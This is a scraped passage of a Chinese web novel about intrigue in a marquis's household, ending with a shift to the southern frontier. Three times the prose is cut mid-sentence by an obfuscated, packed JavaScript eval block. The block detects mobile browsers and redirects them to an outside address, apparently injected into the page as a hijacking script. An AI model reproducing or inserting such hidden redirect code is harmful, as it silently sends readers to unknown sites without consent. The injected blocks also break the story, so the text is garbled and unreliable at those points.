书海院是世子爷所住的院子,处处精巧,圆门掩奇石,曲径通幽处,檐下挂着琉璃风灯,院中还引了活水成溪,在院落内蜿蜒成一道流溪,上有几步的小桥,桥下有肥嘟嘟的锦鲤游过,瞧着便是一处清雅好地方。 但偏偏,这好地方却无人走动,甚至,此处的厢房都门窗紧闭,廊檐下站着的也不是丫鬟,而是八个高大挺拔的私兵,这每一个私兵都生的眉目端正,神态凛然的握着刀站在门口,硬生生为这画舫游廊添出了几分杀气。 厢房内也没有旁人,只有一个怂的日日写信的哭包儿媳——别瞧她信写得多,但她也不敢出门找人来寄,所以写了撕,撕了写,从内而外的怂。 柳烟黛自从那一日被婆母塞了八个男人在院门前后,便真的连门都不敢出了,每日用膳都只让人送进来。 她是那样胆小怯懦的姑娘,与男人说句话都羞愤欲死,更何况是被人守着门呢?有时她在窗前往外一瞧,瞧见了个男人的轮廓,都要赶忙退回来,在床榻内跪着,背一背女戒,再诚心诚意的向漫天神佛祷告一番,希望婆母能回头是岸,不要再给公公下毒了。 谋杀身负爵位的朝廷命官,若是这事被发现了,婆母一定会死的呀。 今日,柳烟黛正祈祷呢,突然听闻木槅门外有人敲门,唤着她道:“启禀世子妃——” 柳烟黛在床帐里打了个哆嗦,随后撩开金丝绿绸缎的床帐,往外头探着身问:“何事?” 外头的嬷嬷便继续道:“夫人那头传了信,说是请您过去,有要事与您吩咐。” 柳烟黛便立马从床榻间爬下来,手忙脚乱的往门口跑,一边跑一边道:“我来了我来了。” 她推开门,眼角瞥见门外的几个私兵,连忙低下头不去看,后随着嬷嬷出了书海院,一路去了赏月园。 书海院到赏月园大概要走三刻钟左右,正是午后未时初,热夏午后,太阳正毒辣,人行其中,不过百步后背的衣衫便润湿,秦禅月疼惜柳烟黛,便赏了人轿给她坐,轿由四人抬着,上头盖了一层绸缎遮阳,其内摆着果子冰饮可用,轿子穿过长廊莲湖后,便行到了赏月园。 柳烟黛到了门口才下轿,行进厢房内,便觉得一阵凉意扑面。 秦禅月贪凉,夏日间要在厢房角落内摆满冰缸,凉气汇聚成浅浅的氤氲水雾,人一进来,周身的燥热气瞬间被蒸腾掉,肌肤都因温差而泛起些许寒意。 柳烟黛抬眸一看,便瞧见她的婆母穿着一身石榴红的裙衫,靠坐在矮塌上,正用银丝勾缠的叉子戳着冰西瓜吃,瞧见她来了,便用下颌轻轻向上一撇,示意她不必俯身行礼,随后道:“不必拘泥,我有事安排给你办。” 柳烟黛行礼的动作一僵,赶忙爬起来道:“婆母吩咐,儿媳都照办。” 她来侯府就是要伺候婆母的,婆母说什么,她都该好生伺候着。 “这几日——你夫君在祠堂内吃了不少苦,想来也知错了,你将人领回去,日后好生照看吧。” 秦禅月的声线低,并不似少女般清灵,反而透着哑,像是一把上了岁数的古琴,一开口,便透着悠扬的音调,尾音向上微微挑起,那一声“照看吧”,像是透着点不一样的韵味,隐隐还带着几丝坏劲。 她是个即将要干点恶事出来瞧热闹儿的人,根本捂不住那点幸灾乐祸的味儿。 但柳烟黛完全没听出来,反而欣喜的说道:“真的吗?婆母原谅夫君了吗?婆母真好。” 夫君出来了,她便不必日日瞧着那八个男人犯愁了。 秦禅月那双狐狸眼缓缓眯起,笑成两条缝,笑眯眯的点头道:“没错,去接人吧。” 柳烟黛欢天喜地的走了,她要去接夫君出来,以后好好伺候夫君,她夫君不在这些日子里,她一直觉得心里惶惶怕怕的,只要夫君在,她的心便回到了肚子里啦。 秦禅月则笑眯眯的目送她走。 秦禅月有些时候干坏事藏不住,总会露出来一点马脚,但柳烟黛愚钝,完全感觉不出来,婆母说什么她就做什么,眼看着婆母干坏事,她最多也就哭哭啼啼写封信,还不敢寄出去,秦禅月挖了坑,柳烟黛吭哧吭哧的往里跳,一边跳一边想婆母真好。 这对婆媳从某种角度上来看,很合适。 —— 柳烟黛出了赏月园后,便一路去了祠堂中。 侯府的祠堂坐落在侯府东南角,此处种有青松,取了“长青”、“青烟”之意,寓意忠义侯府绵绵长青,烟火不断。 青松木高,一年四季常绿,此木性稳,耐热耐冷,无论冬夏都不矫情,不紧不慢的长着,十余年的岁月,长的亭亭如盖,枝冠遮天,一行到东南角处,都不需要用冰盆,处处都显得比旁处凉。 柳烟黛轿辇到祠堂附近的时候,祠堂里面关着的周渊渟也得了信来:“母亲叫她接我出去做什么?随便来几个丫鬟接我便是。” 一旁的小厮赶忙道:“世子妃听说要来接您,高兴极了,定然是心中有您。” 祠堂间,高傲的贵公子勉强从地上铺着的软榻上爬起来,道:“这个下贱的泥腿子,时时刻刻都想来我这里卖好。” 他一爬动,身上的伤便也跟着抽痛。 前些时日,母亲罚他二十大板,这侯府里的下人不敢下死手,只装模作样的打了几下,但他身娇肉贵,后背还是青肿出血了。 这几日被关在祠堂内,他身边跟着的心腹也不敢真的让他跪着,想方设法的给他寻来了锦缎趴着,叫他好生躺着。 现下柳烟黛来了,他才匆忙收拾起这些东西。 “是,说是赏月园那头发了话,想来夫人心里还是疼您的,您可是夫人的嫡长子。”一旁的小厮赶忙扶着周渊渟跪好,一边扶着,一边低声道:“您啊,给世子妃些好脸色罢,世子妃可是镇南王那头过来的,算是夫人这头的娘家人,夫人偏爱她些也是应当的,您再给世子妃脸色看,夫人难免生恼的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068964|148867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周渊渟被小厮扶着跪好,一双黑沉沉的瑞凤眼中闪过几分不屑。 “一个泥腿子——” 他讥诮了这么一句,但最终也没说出来什么旁的话。 片刻后,柳烟黛坐着轿辇到了祠堂中,这一回,她成功进了祠堂的门来。 祠堂高大,四柱顶梁,一进门便能瞧见一排排的黑木牌位,而在牌位之下,正跪着一位白袍书生。 那就是她的夫君,周渊渟。 柳烟黛瞧见周渊渟的背影,语调都放的小了些,站在门口,怯怯的说道:“夫君,婆母叫妾身来接您回去。” 跪在蒲团上的周渊渟不动。 柳烟黛迟疑的揪着衣角,不知道自己该继续说什么,一旁的小厮赶忙道:“您得再请一遍。” 若是柳烟黛说了一遍,周渊渟便起身走了,这便显得周渊渟不诚信悔过,得是柳烟黛一请再请,周渊渟才能起来。 柳烟黛便又请了一遍。 这一回,跪在蒲团上的周渊渟终于起身了,他一起身,一转身间,便瞧见了站在门口的柳烟黛。 柳烟黛今日穿了一套乳白色的圆领襦裙,外套了一件粉色的襦裙,她身形胖些,又矮,面颊上肉肉的,腰肢胸脯更是圆滚滚,没有半点素雅之气,见了他就笨拙的低了头不说话,看着她的脸,让周渊渟想起了那一夜翻窗而来、浸润着月光的翩翩仙鹤。 静夜沉沉,浮光霭霭。 她到底哪里比得过白玉凝呢? 没有一处比得过! 她跟了他,真是八辈子沾来的福气,否则,就她这样的外貌与出身,最多只能配个粗俗杀猪匠。 周渊渟本来到了喉咙口的好话实在是说不出口,转而哼了一声,直接由小厮扶着出了门,见到了轿辇,便直接上了轿辇。 他可有伤,一步走不得,自然当是他来坐。 这轿辇本来是秦禅月备给柳烟黛的,现在叫周渊渟坐了,柳烟黛也不敢言语,只低着头跟在一旁慢走。 不过百步远,便走出一身汗来,她也不敢说话,只低着头跟着走。 只是走着走着,她便察觉到不对了,他们怎么走到了花园的方向? 他们该回书海院才对——书海院在东北角,祠堂在东南角,从南到北,从祠堂回书海院是一条直线,并不需要穿过最中间的花园呀。 但她一贯胆怯,心想,走便走吧,多走几步路,也无碍的。 他们便经过翠竹夹景,一路进了花园,恰好经过了花阁间。 周渊渟的轿辇到花阁的时候,远远便听见花阁间有人抚琴,这琴声那样熟悉,他一听,便知道是白玉凝的琴声。 他的白玉凝此刻在花阁中弹琴么? 周渊渟已好几日没见到白玉凝了,现下只一听到琴声,便觉得浑身的骨头都跟着发痒,他当即喊了一声“停轿”。 轿辇一停,周渊渟甚至都没管身后跟着的柳烟黛,只丢下一句“你们都等在这”,随后提膝便直奔花阁而去。 9.一个吻 此时,花阁之内。 花阁,顾名思义,便是花园中的阁楼,可以做凉亭用,但比凉亭更大,其内摆设更多,且四面通风,做极大的窗景,四周覆以薄纱,常被用作开宴时赏花来用。 人坐在其中,便可瞧见外面的花。 花阁是个二层花阁,一楼内摆了茶案,可让人饮茶,二楼摆放了古琴,可让人弹琴奏乐。 白玉凝与周驰野此刻便在二楼。 清雅出尘的姑娘坐在琴后弹奏,而高大俊美的公子靠在窗边站着,她在弹琴,他在看她。 阳光自窗外落进来,明亮的光柱将花阁空气中翻飞的灰尘照的格外清晰,就在这飞舞的光柱之中,神女坐在琴后,静静地弹了一首琴。 流淌的琴声落到耳中,似是天音入梦来,周驰野靠在窗边看着她,恍然看痴了。 他完全忘了她麻烦缠身的罪臣之女的身份,忘了她曾与自己哥哥有婚约的旧事,忘了自己的母亲曾经打算将她赶走的事情,他只记得这一刻的他与她。 少年不识爱,恨一生最心动。 他看她的时候,白玉凝的面皮也跟着发烫。 他的眼眸那样炽热,目光咄咄的看着她,她如何能不知道呢? 而且凭心而论,她觉得周驰野比周渊渟更好。 周渊渟这个人像忠义侯,本性薄凉,太过计较,前后思量太多,做什么都要权衡一番,只做对自己有利的事,周渊渟现在对她这样好,并非是喜爱她,而是因为厌恶世子妃,跟世子妃在一起让他生厌,跟她在一起让他高兴,所以他才愿意跟她在一起。 从始至终,周渊渟做什么,都是为了让自己高兴而已。 但是,如果周渊渟真的和她在一起,用不了多久,周渊渟又会厌弃她的出身,又会觉得她不如其他的贵女。 当初周渊渟得知要娶旁人做妻的时候,也没有激烈反抗的意思,不过是见了这世子妃不如意才闹起来的,若是这世子妃聪明伶俐,能迷得住他,他绝不会对白玉凝这样恋恋不舍。 这样一起一落间,她便看透了周渊渟的本性。 她想要一直让周渊渟喜爱她,就要不断地演,演,演,还要吃很多委屈。 但周驰野并非是这样的人。 白玉凝能感觉到,周驰野是明烈的,燃烧的火把,他不在乎那些身份之类的东西,也不会去看别的女人,他身上有传到秦家人骨子里的忠贞与护短,周驰野定然不会难为了她去,如果她能跟周驰野在一起就好了,但是,她在不久之前,才刚利用过周驰野—— 那些心思在脑海中一闪而过,她手上的琴音便错了一个调,她怔愣了一瞬。 而就是这一瞬,她听见了周驰野的声音。 “白玉凝错了一个音。” 那声线潮暗,其中像是掺杂了些许说不出的欲,白玉凝后脊窜起了一阵麻意,一抬眸,便瞧见那窗边的周驰野已经逼了过来。 他今日穿了一套墨色武夫圆领长袍,上绣银色竹纹,因未到弱冠,发鬓间便只以一根墨玉银簪竖起,露出一张锋芒毕露的脸。 他缓缓走过来,俯身蹲下,隔着一张古琴看向她。 他走到明处、背对着身后明媚的阳光,五官渐渐地光芒模糊,只剩下高壮的身体,当他靠近时,灼热的气息扑过来,在光与影的折叠间,她看不清他的面容,只能听见自己怦然的心跳,他问:“是因为你在分心想我吗?” 是吗? 白玉凝不知道,她只听见自己的心跳震耳欲聋,她只能看见他暗粉色的唇一张一合,像是有什么吸力一样,他的目光灼热的落在她身上,比唇先吻上她。 她的身体不受控,下意识的向他贴近。 贴近。 周驰野的喉结上下一滚,也随之缓缓向下贴近。 寂静的花阁之中,武夫坚硬的手掌轻柔地捧到了姑娘的后脑上,姑娘洁白的贝齿咬上了暗粉色的唇瓣,呼吸之间,心跳震耳欲聋。 时光也似乎在这一刻静止,唯有爱意翻涌。 周驰野沉浸在这无边的爱意之中,耳聋了,眼瞎了,心也混沌了,仿佛一切都被忘记了,以至于他都没有听见那从楼梯上传来的脚步声。 —— 此刻,楼梯上,周渊渟正满心期待的往二楼走。 他知道,他不会听错的,花阁里弹琴的就是白玉凝。 这一首琴曲谱的是男女情谊互通、传相思之意,白玉凝此刻在花阁上独自一人弹奏此曲,显然是在思念他。 他被关了这些时日,白玉凝怕是想他想的紧,他现在出现在花阁中,白玉凝不知道会高兴成什么样呢! 心中像是烧起了一碗温热的汤,暖呼呼的熨着他的血肉,他因此而兴奋。 母亲这边已经软下了态度,而柳烟黛根本不是问题,虽说现在白玉凝不是他的妾,但是他根本不碰柳烟黛,只要他让白玉凝先有了身孕,那母亲就算是看在身孕的份上,也会让白玉凝进门的。 日后,他会和他的白玉凝日日在一起,至于柳烟黛嘛...他看在舅父的份上,可以给柳烟黛留一个平妻的名头。 他便这样想着,又加快了步伐。 冲到二楼时,他还不曾进去,便先情不自禁的唤道:“白玉凝——” 这一声唤刚响起来,他才迈入楼阁中,就正见到了让他猝不及防的一幕。 在花阁之中,他的心上人白玉凝与他的亲弟弟抱在一起拥吻! 在看到这一幕的时候,周渊渟只觉得劈天大雷“轰隆隆”的炸响在他的脑海中,他震惊的看着他们,整个人如同冰冻了一样僵持在了原地。 而与此同时,方才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085966|148867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还在拥吻的两个人突然被人撞见,都惊慌的不知道该怎么办才好,再一看,撞见他们的居然是周渊渟! 两个人都有片刻的手足无措。 “你,你们!”周渊渟的手指着他们,声线都因为愤怒而发抖:“你们在做什么!周驰野,这是你的长嫂!你在对你的长嫂做什么!” 周渊渟愤怒的咆哮声几乎比方才的琴音更高,使等在花阁下的众人有些许慌乱。 “这是怎么了?”柳烟黛第一个急起来:“夫君怎么这般吼叫!” 她这夫君一贯温和守礼,从不曾有什么失仪之处,现下竟然这般喊,定然是出事了。 “快!”柳烟黛立刻带着人往上跑:“快保护好夫君。” 她就这么一个夫君,要是丧夫了可怎么办呀! 她一往上跑,后面一群人也赶忙跟着上去,他们一群人转瞬间便跑到了楼上,到楼上花阁间时,柳烟黛便瞧见了侯府二公子、他的小叔子周驰野将白玉凝护在身后,而白玉凝楚楚可怜的缩在他的臂膀下,眉眼间的慌乱惹人疼惜。 只见周驰野一脸冷冽,掷地有声的对着她的夫君周渊渟道:“大兄,白玉凝并非是我的长嫂,也不是你的妻子,她和你的婚事早就解除了!而且是你另娶,是你负了她!” “之前我便想找个时日与你说清楚,但是大兄一直在祠堂禁足,我未曾找到机会,既然今日大兄已经看见了,那我便与大兄说明白,我已经与白玉凝定了情,今日,我便会去向母亲提亲,日后我会迎娶她,日后,她与大兄,再无关系,而是我的妻!而大兄早已娶妻,应当守家规,生生世世,只与你的妻在一起,而不该觊觎我的妻!” 说话间,周驰野还看了一眼柳烟黛,道:“长嫂,管好你的夫君!” 长嫂这两个字,被他咬的很重。 在场的众人听了这些话,都是犹如五雷轰顶。 其中最慌乱的应该是柳烟黛。 她她她她拿什么管啊! 她恍惚间反应过来了,为什么婆母今日会让她带夫君出来,为什么那些小厮会往这边走,因为婆母知道今日这里要出事呀! 柳烟黛眼眸里含了两包泪,想,婆母也太坏了!这不得打起来呀? 夫君因为白姑娘跟亲弟弟打起来之后她这个正妻该干什么呢?按着“夫为妻纲”的话,她应该去帮着她夫君打白姑娘的,但是,但是—— 柳烟黛根本不敢打,只窝在一旁缩着。 她,她要晕过去了呀! 不过,比她还晕的是周渊渟。 周渊渟险些被气死过去,他指着周驰野骂了一句“闭嘴”后,又指着白玉凝破口大骂道:“你,你这个贱/女人,竟敢背叛我,竟敢勾引我弟弟!我到底哪里不如他?我可是世子!” 今日之后,他颜面扫地了! 10.绿帽头上戴 “当日你流落诗社卖艺为生,是我!是我将你从那种地方带出来!是我,与母亲据理力争,你不是也说过心中还有我吗?” 周渊渟愤懑难当,竟然都忘了身后一大堆小厮,忘了柳烟黛,指着白玉凝大声揭短道:“结果不过几日,你便勾搭上了我弟弟!你难道忘了那一日翻祠堂来见我的时候我说的话了吗?你竟然是这样水性杨花的女人!” 周渊渟这几声骂太过难听,使周驰野身后的白玉凝发出一阵耻辱的哭声。 而周驰野听到这哭声,顿时被激怒了,他一个箭步飞扑上前,竟是一脚踹上了周渊渟的胸口! 周驰野习武,根骨粗壮,盛怒之下一脚踢出去,周渊渟就如同断了线的风筝一样横飞出去,重重砸在了墙上! 只听“砰”的一声响,被踹出去、砸在墙上的周渊渟竟是“哇”的吐出一口血来! 在场又是一阵惊呼,小厮们手忙脚乱的去扶周渊渟,还有人去找大夫,柳烟黛被吓得待在原地动弹不得,而另外一头的周驰野转过头,一把将同样吓坏了的白玉凝抱在怀中,细声安抚。 “别怕,没事的,有我在。” 他宽大的手掌抚过白玉凝单薄的背,一声声的哄,使惊慌的白玉凝逐渐回过神来,她含着泪靠在周驰野的怀抱中,哽咽着道:“怎么办?秦夫人一定会把我撵出去的。” 周驰野抱紧她,一字一顿道:“别怕,我去与母亲请罪。” 说曹操,曹操就到了!周驰野才刚说完这句话,便听有人在下面喊:“侯爷和夫人到了!” 在场的人都是一惊。 不过两息间,便听一阵脚步声传来,秦禅月挽着夫君,忠义侯周子恒,一路走上了花阁楼里来。 今日的秦禅月穿着一身石榴裙,头戴金玉头面,瞧着明彩熠熠,而站在她身侧的周子恒却面色发白——今日,周子恒的病有些好转,秦禅月瞧了便说,总这样躺着不行,要拉着周子恒出来走走。 周子恒也很久卧床不起了,骨头都有点躺酥软了,秦禅月这样一说,他便也想出来走走,便随着秦禅月逛了逛花园。 但是他们逛到花阁的时候,瞧见花阁里面一片混乱,好似还有人在吼叫,秦禅月便拉着他走进来了。 秦禅月是揣着明白装糊涂,但周子恒却是真糊涂,他一进到二楼里,瞧见自己的大儿子倒在地上吐血,二儿子护着一个颇为俊俏的姑娘,一脸防备的看着他们,不由得惊异不定的指着那姑娘问:“这是何人?这又是怎么回事?” 秦禅月的目光环顾四周,先给了柳烟黛一个眼色,但柳烟黛那个没出息的根本不抬头,更不敢说话。 秦禅月直接放弃她,向一旁灵醒的小厮使了个眼神,那小厮上前一步,“砰”的一声跪倒在地上,将来龙去脉说了个清楚。 “回侯爷的话,这位是白姑娘,先前世子领回来的姑娘,一直生病,养在侯府内,今日世子妃去接世子回府,中途世子听见琴声,便上来一瞧,没想到瞧见二公子抱着白姑娘亲密,大公子一时不忿,与二公子争吵,二公子便将大公子踹飞吐血了。” 周子恒听的目瞪口呆。 他是知道自己的大儿子将白玉凝领回来的事,他心底里也不觉得这是什么大事,这个岁数的男人嘛,难免会有一些冲动,干一些不太聪明的蠢事,但是一个女人,又能有多大的关系呢?若是周渊渟真喜欢,回头养起来就是了。 但是他没想到,不过几个时日,这女人竟然能跟他二儿子搅和到一起,他的二儿子竟然能为了一个女人来打他的大儿子! 何其混账!全都是混账! 周子恒当了一辈子的侯爷,做了一辈子的君子,从未想过这等荒唐事能在自己的府门上发生,这若是传出去,他以后出门都要垂着脑袋出了! 这样一想,周子恒便气的手指发抖,眼前都有些发黑。 而这时候,一旁吐血的周渊渟终于回过神来了,他艰难地爬向自己的父亲,哀求道:“父亲,父亲请为我做主啊!母亲,母亲为我做主啊!当日可是我将白玉凝带回来的,若没有我,白玉凝现在还在外面给人弹琴呢!父亲,二弟他抢我的人,竟然还敢打我,父亲!” 而一旁的周驰野一狠心,直接“砰”的一声跪倒在地上,大喊道:“父亲,母亲,我与玉凝是真心相爱的,求您二老成全我们!大兄早已成家了,还请母亲约束大兄,莫要惦记旁的女人!” 他一跪,一旁的白玉凝也跟着跪下,她紧紧缩在周驰野的身边,像是依附一颗大树的凌霄花,离开他便活不了。 这两人一跪,将周渊渟气的又要吐血,他指着白玉凝,一字一顿的骂:“白玉凝!你为何短短几日便变了心?” 明明前几日还好好地,为什么啊! 而被众人瞧着的白玉凝也知道今日她必须表个态,否则日后这笔糊涂账就说不清了,所以她含着泪、跪着与秦禅月、周子恒道:“启禀侯爷,侯夫人,我当日被世子爷带回来的时候,便与世子爷说清楚了,世子爷已经娶了妻,我再不可能与世子爷在一起了,当日,世子爷还与夫人保证过,只是将我当妹妹看待而已。” “我亦是将世子爷当成哥哥来看待,只是不知道为何,世子爷知道我与二公子互相爱慕后,竟然这般说辞,还请侯夫人明鉴,那一日世子爷的话,您可都是听着的。” 说话间,白玉凝擦了擦脸上的泪珠来。 她瞧着可怜,但是这番话却把周渊渟直接钉死在了火堆上烤。 她说,我已经不喜欢周渊渟啦,是周渊渟非要将我带回来做妹妹的,是周渊渟对我贼心不死,和我有什么关系呢?侯夫人记得当时世子爷说了什么吧?谁知道他为什么变了态度呢?这可跟我没关系啊。 秦禅月闻言,好似被说服了一样,缓缓点头道:“那一日,渊渟确实是说将这白玉凝当妹妹瞧的。” 一旁的周渊渟听到白玉凝的话,又听见自己亲娘被骗了,被气得又是一口血涌上了喉咙,竟是“噗”的一声又吐了一口血,随后挣扎着要爬起来,喊着“娘你不要被骗了”,随后指着白玉凝大骂:“你这个贱/人,你这个贱/女人!你人尽可夫,你——” 周驰野见心上人受了辱骂,竟是又要站起来打人,而一旁的白玉凝死死的抱住了他的胳膊,低声哭着道:“驰野,罢了,罢了,只有你知晓我就够了。” 一时之间,哭声和骂声夹杂在一起,那些体面的人突然撕下了一层层皮囊,露出了其下肮脏的臭肉一样的本质,然后糊在一起,变成一锅臭不可闻的东西来。 而秦禅月笑眯眯的看着他们。 在上一辈子,她知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14094019|148867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道这三个人的奇怪情愫的时候,他们两个已经被白玉凝给收拾好了,两个男人竟然默许对方的存在,并且全力讨好白玉凝,因为他们两个不打架,所以场面没现在这么难看。 她知道的时候,只觉得自己的两个儿子被骗了,力压两个儿子,将白玉凝给赶了出去,并且努力替所有人扫尾,想要全了侯府的体面,打完这个打那个,忙得不可开交。 而她的两个儿子甚至一致对外,为了将白玉凝找回来,一起对付她、恨她,那时候,她竟然变成了众人最厌恶的那个。 现在好啦,她什么都不做,不要体面,不要白眼狼的儿子,不替人筹谋,而这些人却自己打起来了。 这一场大戏真是——好看极了。 —— 秦禅月觉得好看,但是周子恒瞧见这一幕的时候,都要被气晕过去了,这简直太没有修养了! 为了一个女人打成这样子,让周子恒顿觉恼羞成怒,恨铁不成钢,那股怒意顺着他的胸膛直顶上头皮,他指着这两个孩子想要怒吼的时候,突然觉得半个身子都麻了,使不上力气了! 而下一刻,他竟然不受控的倒了下去! 随着忠义侯“砰”的一声倒了地,这一阵吵闹声终于终止了,所有人都愣愣的看着周子恒。 第一个反应过来的是秦禅月。 那端庄美丽的夫人惊慌的扑过来,口中喊着“夫君”,随后慌乱的叫人道:“喊大夫来!快喊大夫来!” 周渊渟和周驰野也不打了,两人都震惊的看着自己的父亲。 好端端的,父亲怎么倒了? 而这其中唯一一个知道真相的柳烟黛发着抖,将自己缩了又缩。 最终,这场闹剧被秦禅月单方面强硬的中止结束了。 “来人!” 在周子恒被小厮们匆忙抬走之后,秦禅月转而看向自己的两个儿子,冷着脸说道:“将受伤的大公子送到秋风堂休息,二公子伤了世子,有罪,送到祠堂去跪着,你——” 秦禅月看向白玉凝,眉宇间是掩盖不住的失望,她叹了口气,道:“你先回客厢房去,待我处置好了旁人,再去唤你。” 在场的所有人都被强行送走,只有一个柳烟黛手足无措的站了一会儿,最后被婆母挥了挥手,道:“今日做的不错,回你院里待着去。” 柳烟黛都不敢想自己哪里做的不错,只低着头匆忙跑了。 而秦禅月则匆忙去看她那昏迷了的夫君。 旁人瞧见了夫人的做派,都要为夫人的宽容而赞叹。 夫人对白玉凝当真是太好了,哪怕白玉凝挑动两个少爷争斗,夫人依旧没舍得将白玉凝赶出去呢。 不过片刻功夫,一个不太好的消息便传遍了整个侯府,顺势又从整个侯府传遍了半个长安。 侯府的世子爷与二公子同时爱上了落难女白玉凝,甚至还为了白玉凝大打出手,而一向家风严谨的老侯爷撞破此事之后,竟然活生生被气晕过去、中风卧床,时日无多了! 忠义侯府这回可是丢大人了呀! 外人为此津津乐道,更有甚者,还将此事编造成册,广为流传,日后侯府这两兄弟出门,怕是都抬不起头了呀。 —— 与此同时,长安那两封书信快马加鞭,终于到了南疆。 11.升官发财死丈夫 南疆距离长安极远,远到站在最高的山巅上,也看不到长安的繁华。 只有无穷无尽的山,与常年丰沛的雨,山木与云雾重叠间,是亘古不变的翠色。 江上空有千叠山,浮空积绿如云烟,山耶云耶远莫之,烟空云散山依然。 南疆潮热闷湿,不似长安有四季,这里只有雨夏,就算是每年的寒冬时节也热的要命,入了夏更是燥热难当。 大陈南疆二十四山,山山连脉,水水互通,其内常年有毒雾迷障,深深沼泽,往上看,树木遮天蔽日,叫人看不见方向,入目全都是树,山路崎岖,往下看,腐烂的树叶能将人的小腿都埋进去,传闻这山中有山鬼出行,活人进入,必死无疑。 秦家军驻守边疆,不曾见过什么山鬼,但是,却见过无数毒虫,那深又深的树叶中埋藏着各种吸血的虫子,人只需要在其中行数十步,一拔出腿来,便能看见靴子上爬着各种细小的虫子,能钻入皮肤中,一路钻到骨头里产卵,有比人腰身还要粗的大蛇,有与人脸大的人面蜘蛛,还有能口吐人言的飞鸟,各类稀奇古怪的东西汇聚在一起,拼凑成了南疆二十四山,号称神鬼莫入之地。 所以纵然有十万雄兵,亦不能荡平此处。 比这二十四山中的蛇虫更可怕的是,山中有南蛊人。 南蛊人善毒虫,善下蛊,虽人少,但个个都有一身的毒,常年投放毒虫到边疆,稍有不慎,便是一场瘟疫。 南蛊人贪图大陈的广阔平原,贪图大陈的如云美人,贪图大陈的荣华富贵,贪图大陈那分明的一年四季,贪图那茂盛的、美好的水田,所以他们常年率兵入侵,偷毒杀/人,妄想着有一日能将大陈人都杀光,然后由他们坐上那金玉的位置,尝一尝玉盘珍羞。 早些年,南蛊人时常率兵入侵,只需要将一杯毒水投入到井中,就能毁掉一座城,险些真的被他们吞掉大陈,直到秦家军异兵突起。 大陈的太医研制出一种毒药,这种毒药吃了之后可以克制蛊毒,但是对人本身也有一定害处,吃下药的半个月都会浑身剧痛,一些弱者甚至会活生生疼死。 而秦家军为了守住边疆,抵御南蛊人,便以肉体凡胎,大批量吃剧毒之物以强体,后来活下来的人又组建成新的军队,硬生生扛住了蛊虫侵害,守住了大陈国土,只这一件事,便足够秦家军荣耀百年。 其后,大陈与南蛊多番征战,最终划定边疆,不可越雷池一步。 镇南王楚珩,满门忠烈的秦家唯一活下来的养子,便是大陈与南蛊之间,最坚固的一道防线,他在南疆驻扎后,亲手带领军队建造城池,活生生打造出了一座关卡,号南云城。 外人常言,南云城立一日,大陈便安稳一日。 南云城是南疆中最大的一座城,立于边疆线十里的位置,驻扎着镇南王的军队,其间生活着一些百姓,但更多的却是走南闯北的走商。 南疆这块地方,虽然毒虫横行,还有恐怖的南蛊人,但是南疆二十四山中,同样也盛产各种草药,这里的地里能挖出来比人脑袋大的灵芝,一两千金,故而此处虽然凶险,却常年有各种走商。 这两封信,便随着大型走商的到来,一起流入了南云城镇南王府中。 镇南王府并不奢靡,因上头那位主子性冷,厌奢,所以建造时只用了大块大块的大理石铺建,远远一望,就像是一座石头堆砌而成的石城,一走近来,一股独属于石头暴晒后的灰尘气息便直扑人面。 府内也没有什么游廊花园,只有一大片演武场,每日镇南王的护卫队都在此练体。 这一日,临近酉时。 南疆酉时的天还大亮着,头顶上的太阳明晃晃的晒,人群在演武场上训练时,不知道谁唤了一声“王爷回来了”,一群人便匆忙起身跪下行礼。 一声声“见过王爷”之中,有新来的兵没有忍住,偷偷抬头往上看了一眼。 每一个大陈的兵,都听说过镇南王的英勇事迹,那是站在权利顶峰的人,没有人不想知道这样的镇南王的模样。 新兵偷偷抬眼,一眼望过去,便瞧见了一位高大挺拔的将军。 他穿着精铁长靴,长靴裹着小腿,往上是粗壮的大腿肌肉,一眼看过去便知极为有力,再往上是强壮的腰,此人一身墨色武夫长袍,身上佩以精铁护腕,腰侧悬刀,压在悬刀的手上老茧密布,甚至可以透过墨色的锦缎织布隐隐看见其手臂上的肌肉轮廓。 再往上,是一张肃严冷峻的脸。 那张脸轮廓冷硬,眉高鼻挺,有鹰视狼顾之相,一双单眼轮廓锋锐,眸底深邃而平静,像是南疆二十四山里最深的沼泽,只需要碰上一眼,便能将人吞噬进去。 额间有一道旧伤贯穿眉眼,一眼望去颇为狰狞,年岁大概三十上下,身量并不似是年轻人一般单薄,反而透着山岳一般的厚重,成熟,硬朗。 他敏锐极了,新兵的目光一看过去,他的目光便锋利的直刺回来,那新兵心惊肉跳的垂下眼,便再也不敢抬头。 “今年的新兵都太小,还没教什么规矩。”一旁跟着的副将瞧见了,便跟着低声赔笑道:“回头属下去打罚了去。” 